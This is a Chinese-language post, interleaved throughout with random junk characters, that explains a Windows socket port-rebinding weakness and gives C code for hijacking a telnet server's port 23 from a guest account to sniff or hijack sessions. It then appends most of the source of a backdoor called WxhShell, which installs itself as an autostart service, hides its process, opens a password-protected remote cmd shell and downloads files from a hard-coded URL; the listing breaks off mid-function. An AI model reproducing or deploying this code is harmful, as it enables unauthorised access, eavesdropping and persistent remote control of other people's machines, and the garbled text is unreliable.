在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
l{%Op\ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Kuzy&NI^w b5iJm- saddr.sin_family = AF_INET;
"O"^\f t9=|* =;9) saddr.sin_addr.s_addr = htonl(INADDR_ANY);
cl9;2D"Zm! ttJ:[ R' bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
lD+y,"; Td=]tVM 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
{f6A[ZO; J y:(C=*^<t 这意味着什么?意味着可以进行如下的攻击:
1v8:,!C -
KoA[UJ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
/Va&k4 *T}dv)8 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
^ZViQ$a"h; Q& unA3 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
O(WMTa'% mc[_>[m 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
P\G C8KV] J*W;{Vty 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
#Z3I%bkw H pC?1gc1G 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
y<gYf -E+ p%YvP 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
)jQe K tg%WVy2 #include
1(\I9L&J
#include
8Jly!=Qm5 #include
ZkVvL4yIK #include
myo~Qqt? DWORD WINAPI ClientThread(LPVOID lpParam);
j]]ziz,E int main()
~bm2_/RL {
,`B>} WORD wVersionRequested;
uq1(yyWp( DWORD ret;
uEi.nSp)S WSADATA wsaData;
9p0HFri[ BOOL val;
onypwfIk)t SOCKADDR_IN saddr;
W0 ,"V'C SOCKADDR_IN scaddr;
-<HvhW int err;
0kr& c;~ SOCKET s;
Ss#{K; SOCKET sc;
@'| 6lG int caddsize;
68G] a N3 HANDLE mt;
z@S8H6jM)S DWORD tid;
MxvxY,~{0 wVersionRequested = MAKEWORD( 2, 2 );
)<&CnK err = WSAStartup( wVersionRequested, &wsaData );
#(wzl if ( err != 0 ) {
/iJhCB[QZ printf("error!WSAStartup failed!\n");
l\l]9Z6% return -1;
#mFAl|O }
2|H'j~ saddr.sin_family = AF_INET;
W&q5cz VlXy&oZ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
_(A+_| s/'h LkxI saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
-tdON saddr.sin_port = htons(23);
QMfy^t+I if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
sf&K<C]( {
MicVNs printf("error!socket failed!\n");
f(ec/0W return -1;
.`8,$"`4) }
6!L*q val = TRUE;
&=t(NI$ //SO_REUSEADDR选项就是可以实现端口重绑定的
M/`z;a=EP if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
zpQ/E {
Vy*Z"k printf("error!setsockopt failed!\n");
;;J98G|1 return -1;
1+ARV&bc }
K`83C`w. //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
@z?.P;f9# //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
7^e}|l //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
^)]*10 &WV 9%fI if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
i'LTKj {
0r&9AnnWu+ ret=GetLastError();
YU"\Wd[ printf("error!bind failed!\n");
<(lSNGv5N return -1;
ZpBH;{., }
v-aq".XQ listen(s,2);
a^1c _ while(1)
<^Nj~+G' {
i*E`<9 caddsize = sizeof(scaddr);
H%gD[!^ //接受连接请求
s3%8W==rBW sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
)Ea_:C' if(sc!=INVALID_SOCKET)
L2A#OZZu {
r6_a%A* mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
8"rX;5
vP if(mt==NULL)
r1?FH2Ns {
HcUz2Rm5XP printf("Thread Creat Failed!\n");
K1WoIv<Ym break;
-KiS6$- }
uk/+
i`= }
4}FfHgpQ CloseHandle(mt);
0PbIWy' }
0'}?3/u- closesocket(s);
E%:zE Q WSACleanup();
NX", e= return 0;
!\uk b }
/pN2Jst DWORD WINAPI ClientThread(LPVOID lpParam)
Wm&f+{LO+K {
+ # >%bq x SOCKET ss = (SOCKET)lpParam;
P!ICno6[e SOCKET sc;
. +?lID unsigned char buf[4096];
;z=C]kI6M SOCKADDR_IN saddr;
mR@Xt# long num;
n?tAa|_ DWORD val;
Y% 9F DWORD ret;
rq?x]`u
//如果是隐藏端口应用的话,可以在此处加一些判断
Kn\(Xd.> //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
za/#R_%p saddr.sin_family = AF_INET;
B)`X7uG saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
3]'z8i({7Y saddr.sin_port = htons(23);
/RmCMT if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
R/YL1s {
7y7y<`)I5 printf("error!socket failed!\n");
.?j8{> return -1;
O{R5<"g }
7rg[5hP T val = 100;
g3 rFJc if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3dphS ^X {
}O{"qs#) ret = GetLastError();
PSE|4{' return -1;
*xC ' }
rT) R*3 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'E,Yht=/} {
r8.v0b"1 ret = GetLastError();
\LXC269 return -1;
:wAB"TCt0 }
1w^[Eno$$ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
(RS:_] {
+60;z4y}w printf("error!socket connect failed!\n");
rXX|?9' closesocket(sc);
[{*#cr f closesocket(ss);
%C:XzK-x return -1;
vsR ^aVwVZ }
LeCU"~ while(1)
U:e9Vq'N m {
b2%[9)"I. //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
h`j gF //如果是嗅探内容的话,可以再此处进行内容分析和记录
Qd?P[xm //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
lhTbg M num = recv(ss,buf,4096,0);
_F EF+I if(num>0)
dp+Y?ufr send(sc,buf,num,0);
x6tY _lzJ else if(num==0)
!W7ekPnK break;
U8!njLC num = recv(sc,buf,4096,0);
e>)5j1 if(num>0)
eX@q'Zi send(ss,buf,num,0);
q4N$.hpb else if(num==0)
7 '/&mX> break;
Hyg?as>}u }
0k 8SDRWU closesocket(ss);
$z]l4Hj closesocket(sc);
+pm8;& return 0 ;
_C\b,D}p }
Of=z!|l2 .Ps;O XN;eehB?aE ==========================================================
H !u:P?j@\ i=T/}c)
下边附上一个代码,,WXhSHELL
]FBfh.#X@ c`QsKwa ==========================================================
Fu/CX4R_| ;|y,bo@sJJ #include "stdafx.h"
1<"kN^
f7s.\ #include <stdio.h>
Dn?L #include <string.h>
;4IP7$3G #include <windows.h>
c[$oR,2b13 #include <winsock2.h>
\m!."~% #include <winsvc.h>
urB.K<5ZA #include <urlmon.h>
zZHsS$/ AF-.Nwp #pragma comment (lib, "Ws2_32.lib")
RYNzTA #pragma comment (lib, "urlmon.lib")
H>]x<#uz) =$Z'F<|d #define MAX_USER 100 // 最大客户端连接数
~Zm(p*\T #define BUF_SOCK 200 // sock buffer
4`F*] Ft #define KEY_BUFF 255 // 输入 buffer
V2.K*CpZ7
#p>PNW- #define REBOOT 0 // 重启
4E)[<% #define SHUTDOWN 1 // 关机
W>y_q[m KI{u:Lbi #define DEF_PORT 5000 // 监听端口
\=<.0K A~
6>Y}2fT}o3 #define REG_LEN 16 // 注册表键长度
iC]}M #define SVC_LEN 80 // NT服务名长度
voxlo>: #a&Vx&7L // 从dll定义API
+!(hd typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
|7-tUHMo[ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
HNPr|
( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
A VjtK typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
ov~m?Y]h : Ej IV]e // wxhshell配置信息
U
DG _APf struct WSCFG {
I}=}S"v int ws_port; // 监听端口
[% jg;m char ws_passstr[REG_LEN]; // 口令
ZU|nKt<GK int ws_autoins; // 安装标记, 1=yes 0=no
i=4bY[y char ws_regname[REG_LEN]; // 注册表键名
QQ9Q[c char ws_svcname[REG_LEN]; // 服务名
rSk $]E ]Z char ws_svcdisp[SVC_LEN]; // 服务显示名
JoYzC8/r char ws_svcdesc[SVC_LEN]; // 服务描述信息
83a
Rq&(R char ws_passmsg[SVC_LEN]; // 密码输入提示信息
r/e&}! int ws_downexe; // 下载执行标记, 1=yes 0=no
(2(hl--'n char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
h:;~)= {"X char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Ub$$wOsf h4#5j'RO };
`6A"eDa ]Vsze4>Z[ // default Wxhshell configuration
c2nZd.SD| struct WSCFG wscfg={DEF_PORT,
>XF@=Jp "xuhuanlingzhe",
LHz{*`22q 1,
L8fr
uwb "Wxhshell",
i469<^A "Wxhshell",
f19
i
! "WxhShell Service",
9`muk "Wrsky Windows CmdShell Service",
;P_Zen "Please Input Your Password: ",
P/Zo 1,
6D OE6 "
http://www.wrsky.com/wxhshell.exe",
BzZy s "Wxhshell.exe"
*;m721# };
'e)t+ m3D'7*U // 消息定义模块
0c{N) char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Km?i{TW char *msg_ws_prompt="\n\r? for help\n\r#>";
ICi- iX char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
!ZVMx*1Cf char *msg_ws_ext="\n\rExit.";
Y5
dt?a char *msg_ws_end="\n\rQuit.";
}?JO[Q + char *msg_ws_boot="\n\rReboot...";
TaC)N char *msg_ws_poff="\n\rShutdown...";
rcK*",> char *msg_ws_down="\n\rSave to ";
}Z6/b
_kV ?|33Np) char *msg_ws_err="\n\rErr!";
~-6;h.x= char *msg_ws_ok="\n\rOK!";
E(oNS\4 `u U@( char ExeFile[MAX_PATH];
Rg6>6.fk* int nUser = 0;
1pK7EK3R HANDLE handles[MAX_USER];
nxt1Y04,H int OsIsNt;
cZYX[.oIB #k6;~ SERVICE_STATUS serviceStatus;
X[w9~t$\ SERVICE_STATUS_HANDLE hServiceStatusHandle;
-zkB`~u_ QUNsS9 // 函数声明
Nl+2m4 int Install(void);
1/m/Iw@ int Uninstall(void);
86_Zh5: int DownloadFile(char *sURL, SOCKET wsh);
rT#QA=YB int Boot(int flag);
|] YT6-?. void HideProc(void);
;i]cmy int GetOsVer(void);
R
Q8okA int Wxhshell(SOCKET wsl);
5s>9v void TalkWithClient(void *cs);
A1C@'9R*
int CmdShell(SOCKET sock);
LF0~H}S;6B int StartFromService(void);
vV|egmw01 int StartWxhshell(LPSTR lpCmdLine);
n)0{mDf% )fa VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
$=bN=hE VOID WINAPI NTServiceHandler( DWORD fdwControl );
pUmB
h 5Z:HCp-aG // 数据结构和表定义
(ZnA#% SERVICE_TABLE_ENTRY DispatchTable[] =
@sDd:>t {
jK{MU) D+ {wscfg.ws_svcname, NTServiceMain},
!xvPG {NULL, NULL}
':,LZ A8A };
@l?%]%v| 34U~7P
r9 // 自我安装
>#ou8}0 int Install(void)
K5KN}sRs" {
v/.2Z(sZ char svExeFile[MAX_PATH];
+bXZE HKEY key;
p)oW'#@a strcpy(svExeFile,ExeFile);
OjCT%6hy; _Sg29qFK // 如果是win9x系统,修改注册表设为自启动
Fh"S[e if(!OsIsNt) {
ReRRFkO"2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}PXWRv.gW RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
f|`{PP`\ RegCloseKey(key);
H [v~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Cn"N5(i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
gk&?h7P"< RegCloseKey(key);
*~vRbD$q return 0;
d+^;kse }
8P*n|]B.' }
n0m9|T& }
cO8;2u,Gvi else {
_CZ* z t5_`q(: // 如果是NT以上系统,安装为系统服务
;(afz?T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
]oY~8HW if (schSCManager!=0)
^;2L`U@5 {
8(A:XQN"h SC_HANDLE schService = CreateService
!nu['6I% (
i2*nYd`K schSCManager,
/L~*FQQK> wscfg.ws_svcname,
M}c_KFMV wscfg.ws_svcdisp,
$xl*P# SERVICE_ALL_ACCESS,
" JRlj SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
WULj@ds\~ SERVICE_AUTO_START,
$^l=#tV SERVICE_ERROR_NORMAL,
&a0%7ea`.S svExeFile,
i.<}X NULL,
'%MIG88 NULL,
JWBWa- NULL,
D|S)/o6 NULL,
6R<%.-qr NULL
xs:{%ki );
R0|X;3 if (schService!=0)
FYj3!
H {
we@bq,\w CloseServiceHandle(schService);
|amEuKJ CloseServiceHandle(schSCManager);
2c~^|@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
H(X~=r strcat(svExeFile,wscfg.ws_svcname);
Vs"Z9p$U if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
T>z@;5C RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
936t6K& RegCloseKey(key);
6y0C return 0;
~}5(J,1! }
wHCsEp( }
ufo?ZFq@$L CloseServiceHandle(schSCManager);
'ZJ6p0 }
u+V;r)J{ }
<(iOzn #:yZJS9f9 return 1;
nO/5X>A,Zw }
(tz! "K x4.
#_o& // 自我卸载
$~-j-0
\m int Uninstall(void)
CV6H~t'1 {
6nwO:?1o9 HKEY key;
md_Ld
/ lC2xl( #! if(!OsIsNt) {
OU## A:gI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
nYe}d! RegDeleteValue(key,wscfg.ws_regname);
F lZ]R RegCloseKey(key);
2.[qcs3zl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
spI{d!c RegDeleteValue(key,wscfg.ws_regname);
m&\Gz*)3 RegCloseKey(key);
E,X,RM~
+D return 0;
WX[ycm8 }
qkEy$[D9 }
iaC$K@a{ }
}a`LOBne else {
[brrziZ @!S$gTz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
EAI[J&c if (schSCManager!=0)
:K~7BJ(HO {
WZMsmhU@T SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
iO@wqbg$6 if (schService!=0)
?BRL;( x {
u>eu47"n! if(DeleteService(schService)!=0) {
+!<`$+W CloseServiceHandle(schService);
W)_B(;$] CloseServiceHandle(schSCManager);
k9,"`dk@ return 0;
Y}6)jzBV }
Xu$*ZJ5w CloseServiceHandle(schService);
aZ^lI
6@+4 }
^>"?!lv CloseServiceHandle(schSCManager);
aJF`rLm }
|WX4L7yrhK }
ob;oxJ@[c v!uLd.( return 1;
BE2{qO{ }
N3?d?+A$ [q@%)F // 从指定url下载文件
G9i#_ int DownloadFile(char *sURL, SOCKET wsh)
l gC {
|(V3 HRESULT hr;
-bE|FFU char seps[]= "/";
>"[u.1J_'I char *token;
n >Ei1 char *file;
fP|\1Y?CS char myURL[MAX_PATH];
26**tB< char myFILE[MAX_PATH];
&td#m"wI EAfSbK3z strcpy(myURL,sURL);
u|ZO"t token=strtok(myURL,seps);
3LmHH
= while(token!=NULL)
oMPQkj; {
6i4j(P file=token;
-FI1$ token=strtok(NULL,seps);
%F~
dmA#: }
GyCpGP|AZ *O;N"jf
GetCurrentDirectory(MAX_PATH,myFILE);
VX%+!6+fS strcat(myFILE, "\\");
Ixw,$%-]y6 strcat(myFILE, file);
;1%a:#5 send(wsh,myFILE,strlen(myFILE),0);
B]vj1m`9 send(wsh,"...",3,0);
_=MWt_A '3 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
hD*?\bBs0 if(hr==S_OK)
D.!4i.)8} return 0;
$d"+Njd else
V*aTDU%-. return 1;
!8g
y)2 NO$Nl/XM }
#q- _ *E]\l+]J // 系统电源模块
%c0;Bb- int Boot(int flag)
- \QtE}|4 {
OK 6}9Eu9 HANDLE hToken;
pr"flRQr# TOKEN_PRIVILEGES tkp;
0TpA3K 8`2K=`]ES+ if(OsIsNt) {
;W].j%]Le OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
k-U/x"Pl LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
NEk [0 tkp.PrivilegeCount = 1;
;vitg"Zh> tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
~iWSc8- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
>MT)=4
9q if(flag==REBOOT) {
g6V*wjC if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
BP6Shc|C return 0;
wOOPWwk }
|>4 { 4 else {
\K6J{;# L if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
p!ErH]lH return 0;
9:>K!@ }
s,Swlo7D! }
c'2ra/?k else {
UL%ihWq if(flag==REBOOT) {
F?B=:8,} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
#k)\e;,X return 0;
ooQ( bF }
B^9 #X5! else {
.yPx'_e if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
ZTZE_[ return 0;
bRp[N }
WQx;tX }
67x^{u7 jH1~Ve+q9 return 1;
:X
f3wP= }
Vd4osBu{fY ;"Y6&YP< // win9x进程隐藏模块
#F@7>hd1 void HideProc(void)
U:r2hqegd {
OT i3T1& BP$#a
# HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
"+&<Q d2 if ( hKernel != NULL )
;>N ~,Q {
z3]U%y(, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
639k&"V ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
V{{x~Q9 FreeLibrary(hKernel);
_3a
5/IZ }
3iw9jhK!W j&.BbcE45 return;
Oe`t!&v }
<Tf;p8# z7C1&bGe // 获取操作系统版本
=*jcO119L int GetOsVer(void)
x3|'jmg {
DlI5} Jh OSVERSIONINFO winfo;
mI#; pO2 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
]6 wi GetVersionEx(&winfo);
!`lqWO_/
: if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
T*yveo&j return 1;
sA}R! else
e%6{P return 0;
9 NQq=@ }
MVZ>:G9: <J-Z;r(gQN // 客户端句柄模块
QEa=!O int Wxhshell(SOCKET wsl)
#1@~w}Dh {
VKz<7K\/ SOCKET wsh;
hm>*eJNp] struct sockaddr_in client;
Wh5O{G@Ut DWORD myID;
avu,o ;!?K.,N:N while(nUser<MAX_USER)
o"[bIXf-h {
)AXH^& int nSize=sizeof(client);
Bw.&3efd wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
0(x@
NGb>{ if(wsh==INVALID_SOCKET) return 1;
-^v}T/Kl# Ir #V2]$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
z D<9A6AB if(handles[nUser]==0)
`gN68:B closesocket(wsh);
N1~$ + else
-FV'%X$i nUser++;
_`>7
Q),7 }
<9a_wGs WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
@l Gn G XWpnZFjE return 0;
^1=|(Z/ }
+Q31K7G r pIiED9 // 关闭 socket
+z0}{,HX void CloseIt(SOCKET wsh)
:
"te- {
9PK-r;2 closesocket(wsh);
f*{;\n(.t nUser--;
=pyZ^/}P ExitThread(0);
u7Y< ~ }
2-!Mao"^ &> .1%x@R // 客户端请求句柄
@;D}=$x void TalkWithClient(void *cs)
MmH_gR {
KxmPL fMPq SOCKET wsh=(SOCKET)cs;
Q0Qm0B5eY char pwd[SVC_LEN];
k<zGrq=8J char cmd[KEY_BUFF];
2Q|*xd4B^ char chr[1];
UMQW#$~C{g int i,j;
3}{5
X' 5'Jh2r while (nUser < MAX_USER) {
N('DIi*or ,9wenr if(wscfg.ws_passstr) {
R(N(@KC if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
% W',c u //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
R+VLoz*J6 //ZeroMemory(pwd,KEY_BUFF);
\Rqh|T<D i=0;
N 3p 7 0 while(i<SVC_LEN) {
."Ix#\|x IPi<sE // 设置超时
ugCS & fd_set FdRead;
h?3l struct timeval TimeOut;
Ny,A#-? FD_ZERO(&FdRead);
)-KE 4/G FD_SET(wsh,&FdRead);
m_02"' TimeOut.tv_sec=8;
tO>OD# TimeOut.tv_usec=0;
H9Q7({v int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
uf'P9MA}> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
8pMZ~W; `W$0T;MPF if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
?En|
_E_C pwd
=chr[0]; [=ak>>8
if(chr[0]==0xd || chr[0]==0xa) { 'ag6B(0Z
pwd=0; dIa(</ }
break; m4U+,|Fa
} WfT)CIKs
i++; iSz@E&[X
} m2q;^o:J
'h6}cw+K
// 如果是非法用户,关闭 socket fMEv85@JL
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aU<D$I
} *8X9lv.Z
\.;ct
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =>}.W:=
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dwbY"t[9
*RbOQ86vP
while(1) { (&S[R{=^j
W;oU +z^t$
ZeroMemory(cmd,KEY_BUFF); n vpPmc
Jv^cOc
// 自动支持客户端 telnet标准 G q:4rG|
j=0; T~~[a|bLa
while(j<KEY_BUFF) { z5&%T}$tJ
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ms'TC;&PS
cmd[j]=chr[0]; )
~)SCN>-
if(chr[0]==0xa || chr[0]==0xd) { j)tCr Py
cmd[j]=0; ^Ii \vk
break; 5 (21gW9
} 4 ^~zN"6]
j++; r>:L$_]L
} *- IlF]
#"p1Qea$
// 下载文件 5Jhbf2-
if(strstr(cmd,"http://")) { ?+,*YVT
send(wsh,msg_ws_down,strlen(msg_ws_down),0); RTgA[O4J
if(DownloadFile(cmd,wsh)) Ns|V7|n]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <m/b]|
else B#k3"vk#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pm#x?1rAj
} (o6[4( G
else { AJ?}Hel[0
E/8u'
switch(cmd[0]) { 2^^'t 6@
[[?[? V ,
// 帮助 :
>wQwf
case '?': { T7lj39pJq
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n:*_uc^C
break; zJuRth)(,
} 4)odFq:
// 安装 *pb:9JKi
case 'i': { N5f0|U&
if(Install()) tf7v5iG e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >1a\%G
else @W1WReK]f
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tFvgvx\:
break; }}``~
} PJK]t7vp
// 卸载 fY%M=,t3c
case 'r': { Z.aLk4QO@
if(Uninstall()) Q k;Kn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *qO]v9 j
else i{|lsd(+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BbXU|QtY
break; dI_r:xN
} W7TXI~7
// 显示 wxhshell 所在路径 $h,&b<-
case 'p': { }c35FM,
char svExeFile[MAX_PATH]; Z[})40[M
strcpy(svExeFile,"\n\r"); T@Ss&eGT2
strcat(svExeFile,ExeFile); VA=#0w
send(wsh,svExeFile,strlen(svExeFile),0); M2;%1^
break; Esz1uty
} |B%BwE
// 重启 zM_DE
case 'b': { x5fgF;
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rb *C-NutE
if(Boot(REBOOT)) J})$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wuIsO;}/9
else { %$ir a\
sM
closesocket(wsh); --
i&"
ExitThread(0); \'; t*
} |{7e#ww]
break; ^sT+5M^
} ?#BZ `H
// 关机 W>}Qer4
case 'd': { #aitESbT
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WyBQ{H{So
if(Boot(SHUTDOWN)) `jb0+{08
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^o $W
else { [j:}=:feQ
closesocket(wsh); ZRXI?Jr%
ExitThread(0); ]r/(n]=(
} v:veV. y
break; f.b8ZBNj>
} 4Q$j]U&b
// 获取shell ?JXBWB4
case 's': { 670J{b
CmdShell(wsh); pAJ=f}",]E
closesocket(wsh); 9Eq^B9(
ExitThread(0); B^i mG
break; r~Y>+ln.
} *D=K{bUe'
// 退出 0)A=+zSS1
case 'x': { Xzx[C_G
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Exep+x-
CloseIt(wsh); NK+FQ^m[
break; '^Pq(b~
} (j8GiJ]{L,
// 离开 u;+%Qh
case 'q': { ?G4iOiyt
send(wsh,msg_ws_end,strlen(msg_ws_end),0); c&Gz>
L
closesocket(wsh); kF(Ce{;z
WSACleanup(); K,x$c %
exit(1); tr}KPdE
break; K[Yc<Q
} z3^RUoGU
} ; @7
} eZ!yPdgy|
f![xn2T
// 提示信息 y!7B,
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?-pxte8
} P<>[e9|
} %'{V%IXQ
!: m`9o8
return; " 2ZI oa!^
} ((-aC`
H<V+d^qX\w
// shell模块句柄 }x:\69$
int CmdShell(SOCKET sock) 51&|t#8h
{ vn|TiZ
STARTUPINFO si; ,(j>)g2Ob
ZeroMemory(&si,sizeof(si)); 4]"a;(
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ..??O^
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #C"7
l6'a
PROCESS_INFORMATION ProcessInfo; b%3Q$wIJ6
char cmdline[]="cmd"; ,]f) ,;=
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?@_v,,|
return 0; rumAo'T/%
} >:.w7LQy/
rU;
g0'4e
// 自身启动模式 *mf}bTiS
int StartFromService(void) k!Vn4?B"k
{ &[NVP&9&U
typedef struct pt=7~+r
{ AiY|O S3R
DWORD ExitStatus; ~J%R-{U9
DWORD PebBaseAddress; L&:M8xiA~$
DWORD AffinityMask; |2qR^Hd&5
DWORD BasePriority; @ L\-ZWq
ULONG UniqueProcessId; 5XzrS-I+X@
